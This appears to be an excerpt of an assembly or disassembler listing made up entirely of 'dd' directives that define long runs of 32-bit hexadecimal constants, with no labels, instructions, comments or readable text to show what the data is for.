		dd 0F2D686C1h, 0C320F8ADh, 0DB730E56h, 10D22950h, 0E91208DEh
		dd 99B4BCDAh, 0D9DF7420h, 0B32622F8h, 0EC5EF512h, 3569C1B8h
		dd 0EB7D0E31h, 273AF680h, 0F7A4250h, 65F1465Fh,	50C9BA63h
		dd 850F6D6h, 58D1A967h,	58D255C9h, 787D2FE8h, 0F299355Ch
		dd 0DB415D0Eh, 14873771h, 0F94086C1h, 0E910380Ch, 44C5F582h
		dd 70B88EBFh, 2408A06h
		dd 52600586h, 96E09D40h, 0D89E8283h, 37E05F52h,	0BD8031D4h
		dd 1149282Ch, 971C2AC0h, 616E0ADFh, 2BA0B15h, 0CE3180C6h
		dd 40F48BDDh, 5FC2E97Ch, 4432BFBDh, 0F7A38F02h,	40A72A0Fh
		dd 0EE0177FCh, 24032DE9h, 4A2064FAh, 0F52828C3h, 35694A95h
		dd 25880EF3h, 0C5DAB877h, 0D3BD2DFBh, 3C4A0975h, 1C55BBCBh
		dd 70ECEDDEh, 5E770405h, 0BB2E850Fh, 38AEEE17h,	55035AD2h
		dd 0D03733BDh, 0BCC41E75h, 0F13026Bh, 59CAF682h, 10A697Dh
		dd 0C45A9408h, 51EE62BEh, 5C43A340h, 0C4F61BC0h, 9EF4DFF1h
		dd 0CFC82547h, 0CFC6713Fh, 0B284EDEh, 5978C1A3h, 2D07D270h
		dd 236E7B45h, 49333A50h, 0D801140Dh, 0B4680705h, 7E582512h
		dd 40E5B58h, 152C19CFh,	471745ADh, 78D8AE6Ah, 28404565h
		dd 0F83727B9h, 39F39DD8h, 0CE281F84h, 0C365ACEAh, 0D401EE80h
		dd 0EA1CB782h, 0E2D1D999h, 5D59E1F7h, 123439A8h, 0A6AE7C4Ch
		dd 9852DBCh, 87B7B85h, 0F7253D2Dh, 48382C4h, 0CB54F1FAh
		dd 9B08D326h, 8A0F025Eh, 0E5FD87FEh, 9DCB8E02h,	0A6B46011h
		dd 25178316h, 6CE04EE9h, 5A585859h, 71E8C539h, 25B1C7F8h
		dd 405A180Eh, 0C275017h, 5710DF11h, 5AD641F9h, 0F30788AAh
		dd 552DA694h, 0C2790707h, 87D7ED7Ah, 8139F777h,	0A2337FEAh
		dd 1EF2170h, 0BD0685C8h, 35594FE9h, 72CFF0BDh, 7F487618h
		dd 90359E30h, 2556732Dh, 7FFEEBEFh, 0D0464F60h,	57215C25h
		dd 92FDA52Fh, 18346043h, 0A371B511h, 4E2C0C0h, 6ACA4C80h
		dd 21CF0216h, 435B04Eh,	3B1103B8h, 86E2036Ch, 15D3A77h
		dd 0FF57110Ch, 2E2EE962h, 276835CCh, 0DAF90355h, 56BB08Bh
		dd 1E4E879h, 0F036DC05h, 7EAF559h, 0CC446624h, 25DA8408h
		dd 61427CFBh, 9C185719h, 32CF9F78h, 0FA58CE45h,	95AB770Ch
		dd 6892A1D5h, 0F0241511h, 0EED64AEBh, 3AECF399h, 24909D58h
		dd 43651568h, 8A943531h, 3F799EBh, 258EB295h, 0B73EA820h
		dd 68699451h, 0AB60AF2Ah, 0C005B281h, 30734008h, 0E8AA2855h
		dd 624F2E27h, 4B1057F8h, 0F45B2F79h, 59A182A9h,	8B626084h
		dd 5751F2F9h, 0EB93403Ch, 467DE300h, 9F29441Ch,	0C2A6E5D3h
		dd 2B704304h, 803DFB5h,	753A0453h, 0BB3D1E3Ch, 0B8509BC0h
		dd 610A314Fh, 44D7FD4h,	0D148A009h, 8A430E5Bh, 2340AF53h
		dd 5FA655F3h, 12E99633h, 3D71EF56h, 0D46816E9h,	5BD9AF4Ah
		dd 9F4AB42h, 1725CBAAh,	8C69BCB6h, 805D7CDEh, 35004058h
		dd 7D7724DAh, 72213E25h, 1647EAC9h, 0F054A42Bh,	0BA1C5268h
		dd 5C5253B0h, 0BE2A94AFh, 0A5D39AF6h, 59AF3B77h, 244B431h
		dd 0A1E6C191h, 2404F6Bh, 0B2D397DEh, 7A257845h,	2C6D7D73h
		dd 5B44D28Bh, 5CE90459h, 55CC907Fh, 59093468h, 705D3730h
		dd 0E90FC452h, 5A64ECF2h, 0E289CB2Dh, 0E556AC0Fh, 0BDE050CBh
		dd 57021958h, 0E5A5EBFh, 571DE23Eh, 0C0AC0053h,	1E417D17h
		dd 3698090Bh, 0A988EDE8h, 0E4DDF8D4h, 5C132C38h, 4EDB0952h
		dd 509D146h, 0FF29AC17h, 5A0F5116h, 0F060F338h,	764A210h
		dd 4EF86866h, 0E9FA5444h, 128248D9h, 5FE56F57h,	0AF9F67E9h
		dd 363345C2h, 0EA159262h, 802FB29h, 923A30E7h, 0EFA356FAh
		dd 63DCB05Fh, 6DD36818h, 0C9A79AF7h, 7C00CDE3h,	12BE20CAh
		dd 1E88312h, 0B3FD8E01h, 0F17FCF84h, 58D6427Fh,	3F050AF6h
		dd 1BC166A1h, 0F600BAA0h, 0CF1EFEDFh, 2886EF80h, 5065BF8h
		dd 0E9B3B753h, 0BA4FA0CAh, 3B0AEA0Ch, 0C17DD650h, 0E942706Ah
		dd 0FD697Ch, 0BD7772F1h, 3FCA296Ch, 9D985D59h, 0CE864062h
		dd 51C6FE07h, 0CFC2E3B1h, 0EF92A0A0h, 5E731FFAh, 0A9BC3457h
		dd 0D2E116F6h, 0FD822E34h, 55C0712h, 56C4BBD8h,	3605C9EDh
		dd 8560FF19h, 0E8E0BBB9h, 0AEFC5F2Bh, 40230F73h, 7F3FA037h
		dd 0BA1A015Ah, 5519BD2Ch, 6B74CE9h, 0C1633C48h,	4CA14F09h
		dd 5BCB57Bh, 56B59208h,	0CBFB7657h, 4BD516F7h, 4312882Ch
		dd 89028209h, 3BDC2DCAh, 2813012Bh, 2F2AE662h, 0B609C7E0h
		dd 0A25D2D8Ah, 293BB9C1h, 7ACD9E61h, 0EF683502h, 82487947h
		dd 65E0802h, 92EB22D7h,	446607F7h, 85BDEAD9h, 0BD8A553Ch
		dd 16917FB1h, 52FD523Dh, 0FACEEAE2h, 6E9F6809h,	64626FF4h
		dd 5869546Dh, 7A4A46E9h, 8DD00F27h, 0B815A86Ch,	11719Dh
		dd 0BB531B0Bh, 0FA9D5B78h, 850B314Eh, 0A6667DD0h, 4ADD2D07h
		dd 0F8E6531Ch, 3CD4091Ah, 9D550CBh, 834174ACh, 2ABA5382h
		dd 0CF5F2638h, 261522B3h, 0EE748258h, 0BAEFD2A8h, 444A512Ch
		dd 5FEEE71Ah, 65FC445Ah, 3A9BF1C6h, 0CDB35317h,	4B38211Eh
		dd 0F8AD29AAh, 46924B73h, 2E57CA09h, 183FFA8h, 6D241D0Dh
		dd 9AA56F26h, 50CEF40Eh, 675BB468h, 0C2886BF3h,	42091471h
		dd 8FC93AC9h, 0F0B9298h, 0DE4E0D0Bh, 0B86851B8h, 44BB5B43h
		dd 135208BCh, 4F5EE633h, 1502BE9Eh, 5465E950h, 0B0F72732h
		dd 959ED490h, 0F6011912h, 0E219596Eh, 4242BA8Eh, 0B86273DFh
		dd 0C27D15ABh, 0C6AD15Ah, 0DA5B9CBAh, 8E860F09h, 707276DDh
		dd 8827E38Ah, 4C69D4C1h, 5478A824h, 2AB01D4Eh, 4E9FFE53h
		dd 91EC9078h, 3748A523h, 210A002Ah, 3DE92D74h, 8864CBC9h
		dd 0F745165Fh, 98C0AB20h, 2CFCC416h, 64EA13E5h,	2A5EB6Ch
		dd 0ACBEB704h, 5B74778h, 0FC8AD888h, 1496A701h,	0CB7F4ADEh
		dd 76FC5AB1h, 2368500Bh, 0B92CF604h, 0F35B740Dh, 0B5687931h
		dd 0C0E3E42Ah, 73E81741h, 8A6CBD0Ah, 16808D83h,	2D18278Bh
		dd 10A15FCh, 5B17BEC1h,	0DA0D3BBAh, 0D05BD827h,	5D4DE99Dh
		dd 82AB2ED2h, 7EC85082h, 3B73CB80h, 0DDD060F7h,	806AA241h
		dd 70359DDCh, 0E9CF212Eh, 0F794422Dh, 78B733CEh, 0D10227Fh
		dd 774E66BDh, 0A8304A68h, 0B45080AFh, 4A69E911h, 7B1FCD22h
		dd 2D6863DCh, 37D90F3Eh, 0E8E3056Bh, 0C2F98BEEh, 0F1400A68h
		dd 0FCB18BB3h, 0AFB9C5D7h, 344825Dh, 1DE88A2Eh,	0B8409F12h
		dd 31649C2Dh, 6215F42Fh, 0DFB18B58h, 0D0AF017Bh, 0CFCB0945h
		dd 0A5837504h, 220B4EF3h, 7DD829F4h, 59C22E31h,	59130A5h
		dd 0FB3BD6A0h, 0D9AAFF4Fh, 16047686h, 638C09FBh, 0DC5E1CB6h
		dd 13F0EF67h, 7140A290h, 81644E2Ch, 0DBB6526Fh,	58F9F083h
		dd 8265ADC8h, 1A2AA74h,	0C9C68852h, 0A48B3EF5h,	85D5F61Fh
		dd 0AB8659E8h, 3BFFA183h, 0EB030B06h, 0BEDCE96Bh, 0F0274976h
		dd 8174A086h, 2E64D7F6h, 17B25650h, 0E99B4FEFh,	0D5271A0Ch
		dd 55F09571h, 725D5E25h, 8C605E5h, 84EE2F5Bh, 0F2F3BEE2h
		dd 432FE5Fh, 39F975F8h,	19986805h, 6208D64Bh, 0AA3C5D2Bh
		dd 0ECA60D9Fh, 1624AD6Eh, 49065450h, 1E1F4811h,	52C288E7h
		dd 358280DEh, 6D2D2CECh, 49135032h, 0F95E0C62h,	4FF200B5h
		dd 0F089E7Fh, 7E662785h, 0A2599527h, 3AC177B5h,	42042BBCh
		dd 0E5CCEAD1h, 0C759759h, 1661EACAh, 0D184041h,	6B0D63A6h
		dd 4BDD94A4h, 0D324B25Bh, 1293300Eh, 0B495E2AEh, 1755FDAFh
		dd 4B4041E9h, 1747E3B9h, 0F1810258h, 486B6AA1h,	980BFFh
		dd 9E19F9B1h, 9C579706h, 33C1BF88h, 0A2002A61h,	30B957BAh
		dd 17C9B0C9h, 44D7FA1h,	9E4C070h, 623C7EBBh, 3105A07Eh
		dd 97E7B0AAh, 641E7C64h, 75022CC2h, 8816A3C4h, 0A30859EEh
		dd 83AD02F6h, 0F160207Fh, 6E4A6B84h, 2A514C43h,	0C83C4F3h
		dd 0A2164E8Dh, 9240C543h, 26FBAC90h, 0C462484Bh, 51E233B5h
		dd 9D898A20h, 77C90B75h, 6842F647h, 0A1A9781Ah,	75C27721h
		dd 0D562EADEh, 0C745575Ah
		dd 4B68BD4Ch, 2F13A17Ch, 816964FFh, 510A6Bh, 2E1B9h, 0C981192Ah
		dd 13830FFAh, 0E8FB557Fh, 314FE034h, 0F5BD00ABh, 1B5D1456h
		dd 3653E918h, 4B10540h,	572EA639h, 22A3AB55h, 1FF3BB03h
		dd 0D8CA1B1Ah, 7B96DB61h, 6C61CD20h, 58502C19h,	7D2C0DF8h
		dd 32C46BADh, 692FCEEAh, 639C755Eh, 5A0EE913h, 2312CFEh
		dd 370BA98Bh, 684A0A82h, 0C5D51526h, 1F8A31C5h,	9AF95170h
		dd 0E0322E05h, 5E09C0BBh, 5BD0C179h, 0F34AE025h, 4B2E9A8h
		dd 0E2A2799Dh, 0BB00D622h, 5C166766h, 80713C6Ch, 3CEEDF29h
		dd 0DFF6E34Ch, 66AD4BC9h, 0B664E023h, 15654A36h, 0B262E0EFh
		dd 25E8A1Ch, 727668E1h,	0A4C4B668h, 0B7E93057h,	3FF4BF59h
		dd 50C0B058h, 5A95D9F6h, 0A1F8FC78h, 0A23EBDA3h, 58D89105h
		dd 70B3015Ah, 0BCE94C9Bh, 7F4C3378h, 5EFEC604h,	6BF48147h
		dd 0F3FF9607h, 775B8C01h, 802F2526h, 0FB43D34Dh, 220C2F60h
		dd 0BDF199CFh, 0F4C8D3E8h, 0C48D8F94h, 0E22B9F5Eh, 43E915EFh
		dd 0FBB85E9Eh, 978021F4h, 31FA2A72h, 6E523CE0h,	20ED4A90h
		dd 515929CAh, 0D0886390h, 0A08AB94h, 0E581018Ch, 700D1201h
		dd 0AB9DE20Fh, 4F04F550h, 0DE280342h, 6CC41466h, 2096D884h
		dd 0ED83451Ah, 0BD5F017Fh, 19EB1790h, 5814302Dh, 1016210Ch
		dd 2A68703Eh, 0E3984740h, 0EC414441h, 0BF0435ECh, 0A04E2AA2h
		dd 50B8DB9h, 8549158Ch,	3200C72Eh, 58D5807Ah, 5EDD7D29h
		dd 2B80A1D9h, 0A6F78EF9h, 0F6041F30h, 105422ABh, 0A8D31483h
		dd 4801498Eh, 84107F5h,	123E0B61h, 0DD8AEB8Ah, 0BA97D8D0h
		dd 340B47D1h, 2FC9CD7Fh, 0E72010B5h, 3F081B48h,	3CB01D41h
		dd 5B5A8C0Dh, 527CF5BDh, 5A2F0C6Ch, 0A8B77AD1h,	1D921390h
		dd 0B5E6935h, 413824FDh, 0F6FA16D5h, 1921D3BBh,	0A781ADDEh
		dd 3883B5F1h, 4BFA3C25h, 0F02EACA1h, 6B4006A4h,	0E2729705h
		dd 0CCAA5B4Ah, 1B5E43E6h, 0F413320h, 2035268Eh,	4D5F882Ah
		dd 0B7255416h, 93C5A7ABh, 60DCD9AEh, 4881E6F7h,	9F9809D8h
		dd 22A5B651h, 0F51EB655h, 0B87D5599h, 4A8CD0FAh, 74B94C4Ah
		dd 8512F0D7h, 0E4F64B45h, 61AEF6C5h, 0F480167Fh, 0E5E121CBh
		dd 7752023Dh, 0F3400DDEh, 39689287h, 9CCE044Dh,	8254352Bh
		dd 0E5905749h, 0EF3B086Fh, 47EA80E4h, 17A9BD55h, 0BB225615h
		dd 0D5458B56h, 11C25D51h, 277954F5h, 19691CF5h,	989CC884h
		dd 276E3932h, 0F3C4187h, 0F348C76Eh, 465B0BA2h,	5C2D15ACh
		dd 0D15922E2h, 0E7109724h, 61225F37h, 0AD1B2275h, 75E55218h
		dd 4A8C06B1h, 0D2D6F75Eh, 891DEF60h, 54515DEBh,	180C8353h
		dd 0C04CCE07h, 0FB9717AFh, 41A53EFCh, 645472C6h, 722CE9A9h
		dd 558A6A76h, 9ABE120Dh, 5D1ACBDDh, 0D74D63FAh,	86552C4Fh
		dd 0C5E46514h, 0C8EBF388h, 754BB740h, 58D776B4h, 2F7BA927h
		dd 88C6E61Bh, 3F0166D2h, 4833135Dh, 3D3FC16Bh, 0BF5700ABh
		dd 907C1339h, 44B4EE2Dh, 7E9E3931h, 7147E90Bh, 0DF9DC0E6h
		dd 4C81E41Eh, 27643B52h, 0F295E00Ch, 45B80BBDh,	65805491h
		dd 59FD4E1Ah, 55E89CC1h, 0F47B49F6h, 0F80FF159h, 0C6645A0h
		dd 3956D170h, 5DA5C689h, 9FC58974h, 2D0F2388h, 365FC8BFh
		dd 449AA18Dh, 2E830907h, 92D1FD08h, 1D4F3BBFh, 0B71A0F03h
		dd 54D6D421h, 37701CADh, 3E62FE90h, 0F9D44D4Bh,	0BA2C9213h
		dd 0EEF07269h, 0E9105178h, 749A0C84h, 0C68BC0B3h, 0D9306C98h
		dd 291A1840h, 0C6861ABh, 604B200Ah, 0C65CD7A9h,	30B4A715h
		dd 5805FDACh, 0BC024468h, 0EBB4E5E8h, 0C578062Eh, 0B30B810h
		dd 125B56BFh, 4A4BF6C6h, 61A14BF9h, 0DEFC0456h,	3F597800h
		dd 16800D67h, 353BE001h, 66888EC0h, 69C2D644h, 55D7B2F0h
		dd 7D272F47h, 6FA88100h, 595E3FDAh, 88EE7344h, 7ECABA00h
		dd 427B4332h, 1CB9F07Dh, 82BDC81Ah, 565FF1C8h, 0A4F48147h
		dd 2A29458Ah, 0C4D1C1A5h, 2CC13834h, 18CF07E3h,	34F631F1h
		dd 7C88B817h, 0BB535080h, 0A71239A8h, 43DBF70Bh, 0F27D3585h
		dd 0E1D58BB6h, 0F8395D18h, 3FEF417Fh, 0C24790B0h, 0A759ECDAh
		dd 0E07E25Eh, 7FD9D977h, 612489D0h, 31A4F730h, 58731981h
		dd 0EEE15E2Ch, 60EA0745h, 622EFFBh, 59DE7A65h, 2C2C57B1h
		dd 0CCA20ADh, 3CDD6701h, 4D04E5C1h, 6BC9CE35h, 0A68C0F00h
		dd 25A41A4Eh, 3D5115B1h, 6E4C9A34h, 0DA370101h,	795AE941h
		dd 51D3255Ch, 92EA60B8h, 7E180B63h, 0E17CDA01h,	74F53036h
		dd 19E95674h, 881CD4BAh, 0DEC952D3h, 17728F53h,	0EAFA8504h
		dd 10A5BA00h, 895F1949h, 6D0419EDh, 0C02C756Bh,	0D61A5F25h
		dd 0E00C2D61h, 51E014D2h, 4EE97189h, 2F59B1FEh,	20E639EFh
		dd 84188F6h, 0E4907CF6h, 20CED5FBh, 916B09A2h, 0CDCD6350h
		dd 43B87109h, 72A28046h, 9D4C551Dh, 0EEC1CD01h,	0E6D3005h
		dd 13063A10h, 3D8AC4Fh,	1BE64C9Bh, 0C2949A81h, 16636085h
		dd 8B618211h, 2D0862F9h, 455B5807h, 0F251E4FBh,	20AA885Eh
		dd 7394E9C1h, 3ABB3CC1h, 78681A19h, 104C6E05h, 45DA0131h
		dd 40036604h, 0E94B06E3h, 5F362938h, 6DC460B9h,	85C014E0h
		dd 0F1BC2E4Bh, 0CC6A01C5h, 0AA2D6852h, 41BDB47h, 8066BD2Eh
		dd 0D771C31Dh, 9F4B1024h, 6156CA13h, 0F11828B3h, 0D78814A6h
		dd 8C6596EEh, 61AFE74Dh, 6FEF8EBDh, 7BB84644h, 2C04AA12h
		dd 0C1AAE4EAh, 75D9D77h, 0CFE86039h, 0F23297C7h, 0A03EC4FDh
		dd 80704D3Dh, 63128C2Dh, 79FC60FDh, 4CF78101h, 7169C122h
		dd 788C990h, 8481DFB7h,	9247EB5h, 0E98B25FAh, 317F0D62h
		dd 0DFCE253Eh, 95057446h, 8805B753h, 6FA93681h,	250BF7A4h
		dd 8BBC2FF1h, 555B58E6h, 0D82845A0h, 0D1B4B1E9h, 80D6073Ah
		dd 0C1334FF1h, 66E5E9B7h, 17F42A74h, 2538044Ah,	0B894AA44h
		dd 0A46EE9EFh, 2D7CEF08h, 6D079177h, 8A2B654h, 99AD8B9Fh
		dd 28758B11h, 0A0EBD28Eh, 29BC797Ch, 1E1C6805h,	0FCE94130h
		dd 0BB44B61Dh, 93C48DACh, 1ACAAB31h, 16C57D76h,	0B5030873h
		dd 0FC0804F8h, 0C5C0283h, 9389D157h, 6DA8A1ECh,	0D9F75D35h
		dd 0BF2A7C2Bh, 0FEFDC40h, 0A010701Eh, 174943F2h, 14F3375h
		dd 2376DB78h, 1F1ABA64h, 31C5517Bh, 46C05FF9h, 4C1B18D7h
		dd 9D01AB5Ch, 10F0412h,	27131CAh, 0D7E35908h, 3306739Ah
		dd 14DC5B91h, 1C203878h, 0B86A0295h, 0F2890F62h, 8F69B6A9h
		dd 7CB5FD52h, 81591DE6h, 6307CDC2h, 85914194h, 9B743789h
		dd 922025E6h, 0FC5D4A7Fh, 72F2A793h, 0C1EE7F99h, 6D0D5A90h
		dd 0D817B538h, 8E3CE57Bh, 0E273050Ch, 58A2E960h, 0CA5D5BBCh
		dd 0E6E65F6Fh, 9138E9C4h, 6D3668E7h, 3B6413FFh,	0C9DE52F9h
		dd 67DAA923h, 5E66EC20h, 0EA4AA45Eh, 21F26AC0h,	0A00A425Fh
		dd 2774F9E4h, 88DF1338h, 0A62B082Dh, 0F2982834h, 0BE294022h
		dd 2AB3025Eh, 0AC98174Ah, 0ACAFF4AEh, 2C8CC501h, 0B8CBCC20h
		dd 5E47092Ah, 0EC81D3F7h, 2EEC335Bh, 0FE083FC2h, 0ADD64F92h
		dd 100293D7h, 6C3C9168h, 7869BF9Dh, 40C6D329h, 44D3320h
		dd 0F11EAFBAh, 0CC5BFE4Eh, 0E8F5B242h, 0B3C6F54h, 0F8E902A6h
		dd 556E1255h, 7A22532Ch, 5EB56817h, 7887A81Ah, 0C0DD4AF9h
		dd 0DEBA66D2h, 25DB355Ch, 7514D5D1h, 1AC2F7FAh,	5F1E4868h
		dd 0F5F02A52h, 5E7EBA7Fh, 494D78B5h, 0BF244DB9h, 8C70A99h
		dd 0A30E3ED1h, 0B684F738h, 0C504B93Ah, 2493DF68h, 2D10A3E9h
		dd 5C04E0Ah, 14BDEB2Eh,	0BFC098C1h, 28B946F8h, 0EF840543h
		dd 4FE9E29Fh
		dd 0B094DF37h, 0C04F1FF8h, 7B9442ACh, 5C95BD4Eh, 0AE5E1A16h
		dd 3E940520h, 5AEC0BABh, 0F8519410h, 46BAF183h,	55109166h
		dd 36B80056h, 4057172Bh, 1A8D480Fh, 297C3362h, 0A74B5509h
		dd 3ABCDAD1h, 871649ADh, 5BFBFC0Ah, 148BF6A9h, 53B75478h
		dd 4F3501F6h, 609DCEA6h, 0FEB05261h, 2F5B7F3Fh,	0DD70E275h
		dd 0BA873AE5h, 606B44B9h, 3B2145F0h, 0CA00F990h, 3B0D0E2Dh
		dd 352F860Fh, 683ECA01h, 545A687Ch, 1512562h, 0F2B7D1B1h
		dd 0DC59CF28h, 0C1BD30DEh, 0DFF2C341h, 59EBC087h, 0FBF593C2h
		dd 936841C5h, 0C48E3817h, 0CA1570D1h, 18E8C182h, 83208EF8h
		dd 1F0E0B4h, 0C05A4E04h, 0D1FE03E0h, 73A3202Ch,	0C8422D41h
		dd 0A4F5093Ah, 3BB02952h, 9B481208h, 60490219h,	0C8E07946h
		dd 0C1822E8Dh, 0C0757D3Ah, 5B9D1C60h, 0D0794127h, 7B18B135h
		dd 8400EFCh, 0BE09F5Bh,	5808DA8h, 3216046Eh, 85595009h
		dd 3E85A886h, 384A85BFh, 36C24F70h, 2D8E7E08h, 0DCC2F85Ch
		dd 0E88A108Eh, 1918B875h, 0E6B20E24h, 9A41D6Fh,	2CEB429h
		dd 0E7E95808h, 0D482216Ah, 0B49031C2h, 285D49B6h, 0F6E90B32h
		dd 0CCB7CBE7h, 0ADD2F7ACh, 0BE11506Bh, 0D8414427h, 62060123h
		dd 16E91BA9h, 0B9328183h, 33526348h, 0FF60B4ADh, 0D7B85055h
		dd 79C22C26h, 5D0B7F18h, 58C51631h, 4390AB29h, 0A88CEAE9h
		dd 81D9CED4h, 61F27E59h, 4F60BEB5h, 5B2951E6h, 505EB835h
		dd 2CC0875Bh, 0EDC0CDFEh, 0D1609D08h, 0D55020F4h, 48F68080h
		dd 4105F5E6h, 6E9E828h,	44222D3h, 1315527Ah, 62C9012Dh
		dd 20255A8Ah, 3364EB3Ah, 5296E82h, 0F6A2AA5Fh, 0BBADDA84h
		dd 0DBA1E4A8h, 0DCF601D1h, 60271530h, 0F4801C8Fh, 396BE9BCh
		dd 256DDEC5h, 1914D75h,	0CD5745EBh, 10BB3B44h, 5D3F0826h
		dd 0E2F6B5F7h, 251AC57Ah, 10D8E477h, 722B3B84h,	84BA774Ah
		dd 4A19E645h, 5F9C79E4h, 0BB9B255Bh, 549493CBh,	51DE8227h
		dd 4A3F6878h, 81256528h, 24D81215h, 66B5B45Bh, 5ACFF011h
		dd 8248A65Fh, 0F7D4AAE9h, 9713FDA4h, 624EB256h,	16BFE6D1h
		dd 0F1AD3604h, 0BDF31393h, 9E094E11h, 891EF405h, 3250D6E9h
		dd 0E476F9B5h, 1EB6B3DFh, 0E9453158h, 7E018DE5h, 0BAD26954h
		dd 0B05B2C92h, 97757B91h, 44D7212Ch, 0C54B2D10h, 0A485BF4Bh
		dd 7846E2EAh, 0ACB7F9B7h, 0DF6F09C3h, 0B69E6656h, 1074FB0Ch
		dd 447D02B8h, 0E8D176DEh, 8262340h, 7C1FC427h, 97050195h
		dd 0D401A92Eh, 0D9006CCEh, 20292D7Ah, 4EE923A6h, 0A8758553h
		dd 9BE74A08h, 0F6F1F48h, 0ADCE8F85h, 0F00332A4h, 0F028020Eh
		dd 6859C040h, 9867B225h, 39808C98h, 0F289C4CAh,	0CC7C2862h
		dd 0AA67AB0Ah, 6073B362h, 0BD34DA6Ch, 0AD202964h, 880F16FCh
		dd 0C6FD20D9h, 0BD5057FAh, 9FBC9FFFh, 0B838C623h, 13285819h
		dd 0FB444D6Dh, 74AD6468h, 4F394C81h, 87CC4008h,	0E27CE51h
		dd 761DE009h, 97FD9261h, 0BB022571h, 5E5B3755h,	0D8A4390Dh
		dd 0BF005AE0h, 0C8693205h, 800F1905h, 56AB22A8h, 6BEA0BE6h
		dd 36DDD9E2h, 0A539A5F9h, 84CB1257h, 2BE82633h,	7838AE5Ah
		dd 0E839542Fh, 5F57EECEh, 311D9947h, 0CAC6A6Fh,	8A85E90Eh
		dd 0EA55121Ch, 0F46FE6C9h, 3E34EBFAh, 4382465Eh, 0B7DC5555h
		dd 0AD455CADh, 3AD8589Ah, 0E5E769A0h, 0E93AD305h, 0B2EE98C9h
		dd 2D88D03Ch, 4D98DDECh, 0C9BF2A51h, 0FD7F8DB9h, 16A506D3h
		dd 1A41160h, 3A35CE2h, 0E293E950h, 685011DEh, 33C6951Bh
		dd 0FB75CB95h, 0C77B1338h, 0D608FD7Fh, 0D84BA2B8h, 5F59FA7Fh
		dd 6B12964Eh, 612124E1h, 0DC2ABE3Eh, 0A724366Fh, 3BA544h
		dd 6BE168D3h, 0A7B92AE1h, 0D50FE985h, 603C0E28h, 0A350142Ch
		dd 0E291E8BDh, 8ED55C88h, 8006ED02h, 0E751CE5h,	1FC5C04Dh
		dd 0B52D4CE9h, 5744B0FBh, 873A47A1h, 0E0261F05h, 0DA77EF15h
		dd 6BCA3055h, 0B12FEEEDh, 41EBBCD2h, 48DF1BAh, 11C7C600h
		dd 5CD15CBEh, 2324E1EBh, 8BFFAF69h, 69CF7529h, 89F5BA81h
		dd 0FA2F90BFh, 0B10E4A2Dh, 0EF4EEC3Eh, 26E91DD8h, 84182A7Fh
		dd 0EC39DB85h, 7C0E9318h, 0E2D95833h, 8D40B774h, 1883CDD2h
		dd 219788D6h, 82430EFh,	330842FCh, 0D2F182B3h, 84DF682Ah
		dd 13EFD467h, 2C61AE54h, 51500CF8h, 0BF213868h,	0D408B918h
		dd 0AEEF37C0h, 90480B4Eh, 6E3A2EAh, 0B0E5B08h, 31731B84h
		dd 46E5C8F8h, 0D8161C08h, 0DE200971h, 0AADD99E9h, 655CC0E9h
		dd 0E1A2BD5Eh, 8209AC73h, 776938CCh, 0DBA085E5h, 0DFBBFF4Bh
		dd 815C2707h, 0B058E915h, 0B64071AFh, 0B1160760h, 0E60B5F0Eh
		dd 96F0D828h, 1B6152C0h, 2F20320Ah, 5958E1EAh, 4F3A83Eh
		dd 2B4D7FC2h, 6E0A35C4h, 0FD61B4A6h, 0D9CB0C02h, 0D82E6772h
		dd 1459462h, 84EF343Bh,	25AEB86Fh, 4022565Fh, 409D32BBh
		dd 14D1012Fh, 0DB22C075h, 53127229h, 650013B8h,	4654F455h
		dd 168DCE81h, 915F973h,	96293A4Bh, 5762C6D9h, 0C5B32660h
		dd 22AF595Fh, 6F6A7B41h, 0BF5A4CDFh, 570B39CCh,	0D7536EE9h
		dd 0EDECA99Ch, 9551AF3Dh, 40A20125h, 0C234E908h, 1AC29DD2h
		dd 9737700Eh, 0F198443Ch, 0A5A96D58h, 4038AF82h, 0C952B8ABh
		dd 6E01623Bh, 0F4371A32h, 0E4601583h, 4CBFE839h, 0BDD34F67h
		dd 3E13100Bh, 0CC30B71Dh, 0B50EF227h, 0EA884407h, 64318059h
		dd 0DA44FE52h, 8E26D81h, 5FDA9AEFh, 28EE9983h, 445867D7h
		dd 0C2B1EFD3h, 68096E39h, 35C60E4Eh, 6CB6692Dh,	0CD815B11h
		dd 12A4E017h, 13532C94h, 0FDF9E951h, 0F8EA3E14h, 0D1B78EFEh
		dd 68C6CF79h, 0BF0B2C23h, 0DDE602F5h, 43474C00h, 0F75C5E1Ah
		dd 0E3B57DF6h, 0DA404E16h, 40D14B31h, 0C004C8E0h, 1A0530D4h
		dd 8E26727Bh, 8B9F6F61h, 3C7F2CD9h, 89173DF7h, 69B5872Ch
		dd 0A9133A84h, 0F668C272h, 605DDE41h, 2A9C011Bh, 10E57297h
		dd 487A3A8Bh, 93F54F6Dh, 0BFD05335h, 951578E8h,	5FFA157Ah
		dd 0BEE45497h, 0BD403BAFh, 0F79522DDh, 13437912h, 53CB8D03h
		dd 0DA0D181Bh, 9D10D0B8h, 0FD25E795h, 0B870FAECh, 20AD2E16h
		dd 80402FBCh, 0E2CC5B58h, 883B84A8h, 0FCBE01D4h, 0A18D8D67h
		dd 95B6E2D4h, 35C0D35Eh, 252C3287h, 72652155h, 0EEA074ACh
		dd 58ED6839h, 0ABA8DEE4h, 45025F5Eh, 60DBF005h,	31E9FA95h
		dd 0B32A1660h, 2FD8C1C5h, 0BC5FCBE6h, 70E57D1Dh, 0E9164FF8h
		dd 80B262ABh, 78F0EB02h, 4A60318Bh, 0CA102607h,	3B3A4E19h
		dd 10DB893h, 372AD5DEh,	7532AD56h, 2DF7B0Bh, 23978B5h
		dd 0A360C183h, 0F4BF9542h, 536687D6h, 0D16CB252h, 1AD5954h
		dd 5E2AFABDh, 2F16093Ah, 0FD87807Eh, 0C9C0E23h,	985CB07Ch
		dd 8AD72733h, 462DA666h, 0A59D5B6Bh, 567535EAh,	6D12C08Ch
		dd 0CEF0759Ch, 0F75F597Bh, 8C012529h, 57024839h, 37ED4840h
		dd 1DC645E9h, 2D5C0F44h, 860A478Ah, 0A5D33C7h, 544FEF1Fh
		dd 52ECFDE5h, 7EC070A2h, 588185EDh, 0BB4B2C62h,	2FBAFE85h
		dd 0F0E9093Fh, 41297A7Ah, 1E87F63h, 0EA803684h,	413F048Ch
		dd 0BBB870CCh, 2F93330Bh, 1FE055C2h, 0AD2DE9D9h, 6BE454E5h
		dd 5BDAA4FDh, 550A00AAh, 0E9223817h, 0E60F9025h, 45210413h
		dd 0C14E1142h, 6E309BDFh, 8A8165B9h, 6ED889C7h,	6358FB9Ah
		dd 55097156h, 68AEE7E9h, 9E6287ABh, 287D65FFh, 3E0D4178h
